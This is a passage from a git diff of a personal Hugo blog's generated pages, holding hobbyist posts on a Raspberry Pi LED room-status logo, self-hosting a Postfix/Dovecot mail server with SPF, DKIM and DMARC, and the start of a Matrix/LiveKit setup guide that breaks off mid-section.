    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/soldering/page/1/index.html b/public-clearnet/tags/soldering/page/1/index.html new file mode 100644 index 0000000..fd73f50 --- /dev/null +++ b/public-clearnet/tags/soldering/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/soldering/ + \ No newline at end of file diff --git a/public-clearnet/tags/spf/index.html b/public-clearnet/tags/spf/index.html new file mode 100644 index 0000000..3fd0ebc --- /dev/null +++ b/public-clearnet/tags/spf/index.html @@ -0,0 +1,13 @@ +Spf | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/spf/index.xml b/public-clearnet/tags/spf/index.xml new file mode 100644 index 0000000..de8914c --- /dev/null +++ b/public-clearnet/tags/spf/index.xml @@ -0,0 +1,135 @@ +Spf on AlipourIm journeyshttps://blog.alipour.eu/tags/spf/Recent content in Spf on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/spf/page/1/index.html b/public-clearnet/tags/spf/page/1/index.html new file mode 100644 index 0000000..a6af0a6 --- /dev/null +++ b/public-clearnet/tags/spf/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/spf/ + \ No newline at end of file diff --git a/public-clearnet/tags/synapse/index.html b/public-clearnet/tags/synapse/index.html new file mode 100644 index 0000000..8fb995d --- /dev/null +++ b/public-clearnet/tags/synapse/index.html @@ -0,0 +1,13 @@ +Synapse | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/synapse/index.xml b/public-clearnet/tags/synapse/index.xml new file mode 100644 index 0000000..f0d24f4 --- /dev/null +++ b/public-clearnet/tags/synapse/index.xml @@ -0,0 +1,351 @@ +Synapse on AlipourIm journeyshttps://blog.alipour.eu/tags/synapse/Recent content in Synapse on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
